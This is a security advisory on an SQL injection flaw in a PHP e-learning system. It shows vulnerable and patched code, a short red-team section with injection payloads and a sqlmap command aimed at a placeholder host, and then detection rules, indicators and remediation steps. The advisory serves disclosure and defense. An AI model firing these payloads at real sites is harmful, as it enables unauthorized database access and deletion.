CVE-2024-54925

Executive Summary

CVE-2024-54925 is a critical SQL Injection vulnerability discovered in the id parameter of /remove_sent_message.php within the Kashipara E-learning Management System v1.0. This flaw allows unauthenticated remote attackers to execute arbitrary SQL commands, leading to unauthorized database access, data exfiltration, and potential full system compromise. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges or user interaction. No official patch has been released by the vendor, and public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP web application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support and patch availability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• EPSS Score: 0.0% (low probability of exploitation in the wild, but PoC availability increases risk)

Deep Dive & Mechanics

The vulnerability resides in the /remove_sent_message.php script. The id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject malicious SQL payloads via the id parameter, bypassing authentication and gaining full read/write access to the underlying database.

Vulnerable Code Snippet (Conceptual):

<?php
$id = $_GET['id'];
$query = "DELETE FROM messages WHERE id = $id";
mysqli_query($conn, $query);
?>

The lack of input validation and prepared statements allows an attacker to manipulate the query. For example, injecting 1 OR 1=1 would delete all messages, while 1 UNION SELECT ... could extract sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

<?php
$id = $_GET['id'];
$query = "DELETE FROM messages WHERE id = $id";
mysqli_query($conn, $query);
?>

Patched Code (Recommended Fix):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("DELETE FROM messages WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
?>

The patched version uses intval() to ensure the input is an integer and employs prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Kashipara E-learning Management System v1.0
• Network access to the web application

Exploit Steps:

1. Identify the vulnerable endpoint: http://target.com/remove_sent_message.php?id=1
2. Inject SQL payloads via the id parameter.

Example Payloads:

• Boolean-based blind: http://target.com/remove_sent_message.php?id=1 AND 1=1
• Union-based extraction: http://target.com/remove_sent_message.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -
• Time-based blind: http://target.com/remove_sent_message.php?id=1 AND SLEEP(5)

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/remove_sent_message.php?id=1" --batch --dbs

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for suspicious id parameter values containing SQL keywords (e.g., UNION, SELECT, SLEEP, OR 1=1).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Defense:

• Immediately apply the patched code (prepared statements) if possible.
• If patching is not feasible, implement input validation to only allow numeric values for the id parameter.
• Restrict database user privileges to the minimum required.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /remove_sent_message.php with abnormal id parameter values (e.g., containing SQL keywords, special characters, or long strings).
  • Outbound database connections from the web server to unexpected IP addresses (data exfiltration).
• File IOCs:
  • Modified or newly created files in the web root (e.g., webshells).
• Log IOCs:
  • Web server logs showing repeated requests to /remove_sent_message.php with varying id values.
  • Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2024_54925_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-54925"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54925"
    strings:
        $sqli1 = "id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "SLEEP" nocase
        $sqli5 = "OR 1=1" nocase
        $sqli6 = "AND 1=1" nocase
    condition:
        all of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against CVE-2024-54925
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the id parameter in /remove_sent_message.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "id="
            - "UNION"
            - "SELECT"
            - "SLEEP"
            - "OR 1=1"
            - "AND 1=1"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a non-SQL context (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-54925 SQL Injection Attempt"; flow:to_server,established; content:"/remove_sent_message.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1|AND\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, replace the vulnerable code with prepared statements as shown in the patched code section.
2. Input Validation: Implement strict input validation to only allow numeric values for the id parameter.
3. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns.
4. Database Hardening: Ensure the database user used by the application has minimal privileges (e.g., only SELECT, INSERT, DELETE on specific tables).
5. Monitor & Audit: Enable detailed logging and monitor for suspicious activity.
6. Vendor Contact: Attempt to contact Kashipara for an official patch. If unresponsive, consider migrating to an alternative, actively maintained e-learning platform.

Valters IT